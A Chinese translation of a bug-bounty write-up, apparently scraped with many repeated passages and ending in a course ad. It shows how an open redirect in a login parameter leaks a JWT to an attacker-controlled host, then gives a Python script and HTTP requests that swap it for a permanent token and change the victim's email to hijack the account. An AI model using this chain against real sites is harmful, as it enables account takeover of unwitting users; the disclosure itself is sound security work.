各位好,自上次写作以来已经有段时间没写文章了,希望大家都做的不错。忙了几天之后我决定回馈一下社区。今天,我要分享一个有趣的漏洞思路,这是在漏洞赏金计划中发现的。根本问题是未经验证的重定向,但我决定更进一步,而不只是重定向,所以开始吧。
当目标是公司或应用程序时,首先要做的事就是确定应用程序流程和它的工作机制。没有了解应用程序就进行一系列的漏洞测试对我没有任何意义,所以我开始测试未经验证的区域。在更进一步之前,我将应用程序分为两部分。一部分是不需要验证的区域,余下的则需要验证,这样我们就能在其中进行适当的测试了。因此,另一件重要的事是登陆机制。
进行渗透测试,了解登陆过程非常重要。了解登陆流程更易于用自己的方式破解账户。测试登陆时,观察证书正确的情况下应用程序如何响应。在某些情况下应用程序只是获取凭证并返回cookie,称之为基于cookie的认证;有些情况下应用程序返回像JWT这样的有效令牌,也是在区域中进行身份验证的。如果是通过cookie认证用户,我们的主要目标便是cookie并想办法窃取它,但我遇见的是输入一个有效密码后返回了能够与API交互的JWT令牌。所以,我的情况中认证流程是基于令牌的,概括的讲如果我有一个受害者的令牌,那么应用程序将会把我视作他。先浏览下这篇文章了解不同的认证流程。
有效登陆后,应用程序在GET请求参数中加入token & email进行302重定向到/dashboard。令牌参数携带只能使用一次的JWT令牌。这个令牌将用于与位于/aapi/v1/authentications/token的API端点通信,来接受永久的JWT令牌 。
HTTP/1.1 302 Found Date: Tue, 18 Dec 2018 19:51:21 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Location: http://secure.site.com/dashboard?token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxLCJhdXRoX29ubHkiOnRydWUsImV4cCI6MTU0NTE2MjY5Nn0.hzBq7uN2KiE8JNw1Uj_apd1OxqzS3JRKt-neoSP1vI&signup_event=true&email_event=demo@site.com Cache-Control: no-cache Set-Cookie: ...
收到第一个令牌后应用程序会发送一个GET请求到/aapi/v1/authentications/token,并在认证头中包含第一个JWT令牌 。 GET /aapi/v1/authentications/token HTTP/1.1 Host: secure.site.com User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxLCJhdXRoX29ubHkiOnRydWUsImV4cCI6MTU0NTE2MjY5Nn0.hzBq7uN2KiE8JNw1Uj_apd1OxqzS3JRsKt-neoSP1vI content-type: application/json origin: https://secure.site.com Connection: close 该请求将返回一个能在整个API中使用的永久JWT令牌 。 { "jwt_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxLCJndWVzdF90b2tlbiI6bnVsbCwiZXhwIjoxNTQ1MTYyNjkzfQ.XPq-YkU01KYxffnHIRs5LoY5czIPn8WxqnbXbJOANDY", "user": { "id": 1, "first_name": "Demo", "last_name": "User", "email": "demo@site.com", "created_at": "2016-01-27T16:17:32.832Z" } 现在收到了第二个JWT令牌,它能在所有API端点使用。之前通过重定向得到的JWT令牌不能多次使用,我们的目标是窃取从/token处响应发回的第二个令牌。
GET /aapi/v1/authentications/token HTTP/1.1 Host: secure.site.com User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxLCJhdXRoX29ubHkiOnRydWUsImV4cCI6MTU0NTE2MjY5Nn0.hzBq7uN2KiE8JNw1Uj_apd1OxqzS3JRsKt-neoSP1vI content-type: application/json origin: https://secure.site.com Connection: close
{ "jwt_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxLCJndWVzdF90b2tlbiI6bnVsbCwiZXhwIjoxNTQ1MTYyNjkzfQ.XPq-YkU01KYxffnHIRs5LoY5czIPn8WxqnbXbJOANDY", "user": { "id": 1, "first_name": "Demo", "last_name": "User", "email": "demo@site.com", "created_at": "2016-01-27T16:17:32.832Z" }
现在收到了第二个JWT令牌,它能在所有API端点使用。之前通过重定向得到的JWT令牌不能多次使用,我们的目标是窃取从/token处响应发回的第二个令牌。
所有域中未经验证的重定向
测试过程中我尝试了应用程序的不同子域,发现一个有论坛的子域。要使用该论坛需要通过应用程序的用户认证,所以为了认证用户应用程序将网页返回到secure.site.com,也是我测试认证机制所在的域。这证明所有子域和其他区域的认证机制都是由位于secure.site.com的单一认证机制完成的。所以我一旦登陆成功,应用程序将跳转到forum.site.com,并且是已认证状态。 这挺有趣,我还发现应用程序做出了一些重定向。我确定了应用程序是如何知道我在论坛子域的, 有时是基于应用程序根据我所在网页重定向的参照头。我发现当网页跳转到secure.site.com时一个名为my_results_redirect新的GET参数也随之发送。 因此我重定向到论坛之前的位置是 /login?my_results_redirect=https://forum.site.com/my_results_redirect=https://forum.site.com/。 现在使用值为 https://forum.site.com的参数my_results_redirect登陆后,应用程序有如下响应: HTTP/1.1 302 Found Date: Tue, 18 Dec 2018 19:51:21 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Location: https://forum.site.com/dashboard?token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxLCJhdXRoX29ubHkiOnRydWUsImV4cCI6MTU0NTE2MjY5Nn0.hzBq7uN2KiE8JNw1Uj_apd1OxqzS3JRsKt-neoSP1vI&signup_event=true&email_event=demo@site.com Cache-Control: no-cache Set-Cookie: 我发现能够通过修改my_results_redirect的参数值来篡改令牌的重定向区域。所以如果值设置为https://shawarkhan.com,那么应用程序就会将用户重定向到https://shawarkhan.com。my_results_redirect参数存在于所有的子域中,因此所有的域都有未经验证的重定向,但我的目标是secure.site.com。
测试过程中我尝试了应用程序的不同子域,发现一个有论坛的子域。要使用该论坛需要通过应用程序的用户认证,所以为了认证用户应用程序将网页返回到secure.site.com,也是我测试认证机制所在的域。这证明所有子域和其他区域的认证机制都是由位于secure.site.com的单一认证机制完成的。所以我一旦登陆成功,应用程序将跳转到forum.site.com,并且是已认证状态。
这挺有趣,我还发现应用程序做出了一些重定向。我确定了应用程序是如何知道我在论坛子域的, 有时是基于应用程序根据我所在网页重定向的参照头。我发现当网页跳转到secure.site.com时一个名为my_results_redirect新的GET参数也随之发送。 因此我重定向到论坛之前的位置是
/login?my_results_redirect=https://forum.site.com/my_results_redirect=https://forum.site.com/。
现在使用值为 https://forum.site.com的参数my_results_redirect登陆后,应用程序有如下响应:
HTTP/1.1 302 Found Date: Tue, 18 Dec 2018 19:51:21 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Location: https://forum.site.com/dashboard?token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxLCJhdXRoX29ubHkiOnRydWUsImV4cCI6MTU0NTE2MjY5Nn0.hzBq7uN2KiE8JNw1Uj_apd1OxqzS3JRsKt-neoSP1vI&signup_event=true&email_event=demo@site.com Cache-Control: no-cache Set-Cookie:
如果一个已认证的用户访问了精心设计的网址,我会收到JWT。输入命令python -m SimpleHTTPServer 80,当受害者访问https://secure.site.com/login?my_results_redirect=http%3A%2F%2fattacker.com%2Fdashboard ,我收到了第一个JWT令牌! 收到第一个JWT令牌
现在是时候向/aapi/v1/authentications/token作出请求收取最后一个JWT令牌了。我发出请求但是被拒绝了。这时候我有点疑惑,因为整个过程都是按照流程来的。我正确执行每一步但收效甚微,没有得到第二个JWT令牌。哈!保护机制吗?
我发现研发人员为了防止使用第一个令牌进行未授权访问实施了一些小保护。即便我执行同样的步骤应用程序响应仍然相同,所以我请求被拒绝的原因是延迟。应用程序在令牌生成后直接将其发送给API,所以在生成令牌和发送令牌给API之间有一个小小的延迟。下面是一些小问题: 令牌是一次性的令牌在数秒内失效 为了消除失效问题,我使用了下面的python代码自动化一些步骤: # A sample code that obtains a permanent JWT token when provided a temporary JWT token import json import requests import sys from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) jwt_token=raw_input("Enter token > ") exploit_url = "https://secure.site.com:443/aapi/v1/authentications/token" exploit_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0", "Accept": "*/*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Referer": "https://www.site.com", "authorization": "Bearer "+str(jwt_token), "content-type": "application/json", "origin": "https://www.site.com", "Connection": "clos"} retrieve_token = requests.get(exploit_url, headers=exploit_headers,verify=False) if retrieve_token.status_code==200: s=json.loads(retrieve_token.text) print '[+] Token valid!' print '[i] Retrieving information:' print '\n[*] Permanent JWT Token: %s\n[*] First name: %s\n[*] Last name: %s\n[*] User ID: %s\n[*] Email Addr: %s'%(s['jwt_token'],s['user']['first_name'],s['user']['last_name'],s['user']['id'],s['user']['email']) else: print 'One-time token expired, try to retrieve token again.' 来自Github的token.py
我发现研发人员为了防止使用第一个令牌进行未授权访问实施了一些小保护。即便我执行同样的步骤应用程序响应仍然相同,所以我请求被拒绝的原因是延迟。应用程序在令牌生成后直接将其发送给API,所以在生成令牌和发送令牌给API之间有一个小小的延迟。下面是一些小问题:
# A sample code that obtains a permanent JWT token when provided a temporary JWT token import json import requests import sys from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) jwt_token=raw_input("Enter token > ") exploit_url = "https://secure.site.com:443/aapi/v1/authentications/token" exploit_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0", "Accept": "*/*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Referer": "https://www.site.com", "authorization": "Bearer "+str(jwt_token), "content-type": "application/json", "origin": "https://www.site.com", "Connection": "clos"} retrieve_token = requests.get(exploit_url, headers=exploit_headers,verify=False) if retrieve_token.status_code==200: s=json.loads(retrieve_token.text) print '[+] Token valid!' print '[i] Retrieving information:' print '\n[*] Permanent JWT Token: %s\n[*] First name: %s\n[*] Last name: %s\n[*] User ID: %s\n[*] Email Addr: %s'%(s['jwt_token'],s['user']['first_name'],s['user']['last_name'],s['user']['id'],s['user']['email']) else: print 'One-time token expired, try to retrieve token again.'
这段代码与/token 下的API端点交互并从响应中获取能够进一步与其他API端点通信的JWT令牌。整个应用程序通过API来改变用户信息和其他函数。
获取永久JWT令牌
现在使用永久的JWT令牌和API通信成为可能因为我们有受害者的JWT令牌。API端点/aapi/v1/users/1接受PUT请求。那就能将受害者的邮箱地址改为攻击者的,然后再通过邮箱修改密码达到一个完全的用户劫持。通过使用受害者的JWT令牌发送如下请求,我能够更改受害者的邮箱为 attacker@shawarkhan.com: PUT /aapi/v1/users/1 HTTP/1.1 Host: secure.site.com User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rw:56.0) Gecko/20100101 Firefox/56.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate authorization: Bearer Victims_JWT_here content-type: application/json origin: https://site.com Content-Length: 200 Connection: close {"id":id,"user":{"consumer_attributes":{"dob":"1986-01-26","gender":"female","wants_marketing":true},"first_name":"Demo","last_name":"User","phone_number":"512-000-0000","email":"attacker@shawarkhan.com"}} 这就是我如何完全劫持受害者的账户。分享这篇文章是为了让人们知道重定向漏洞有多危险。人们常对这类漏洞不予理睬,并将其视为低危漏洞。原文地址:https://www.shawarkhan.com/2019/01/hijacking-accounts-by-retrieving-jwt.html?m=1
现在使用永久的JWT令牌和API通信成为可能因为我们有受害者的JWT令牌。API端点/aapi/v1/users/1接受PUT请求。那就能将受害者的邮箱地址改为攻击者的,然后再通过邮箱修改密码达到一个完全的用户劫持。通过使用受害者的JWT令牌发送如下请求,我能够更改受害者的邮箱为 attacker@shawarkhan.com:
PUT /aapi/v1/users/1 HTTP/1.1 Host: secure.site.com User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rw:56.0) Gecko/20100101 Firefox/56.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate authorization: Bearer Victims_JWT_here content-type: application/json origin: https://site.com Content-Length: 200 Connection: close {"id":id,"user":{"consumer_attributes":{"dob":"1986-01-26","gender":"female","wants_marketing":true},"first_name":"Demo","last_name":"User","phone_number":"512-000-0000","email":"attacker@shawarkhan.com"}}
这就是我如何完全劫持受害者的账户。分享这篇文章是为了让人们知道重定向漏洞有多危险。人们常对这类漏洞不予理睬,并将其视为低危漏洞。
原文地址:https://www.shawarkhan.com/2019/01/hijacking-accounts-by-retrieving-jwt.html?m=1
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法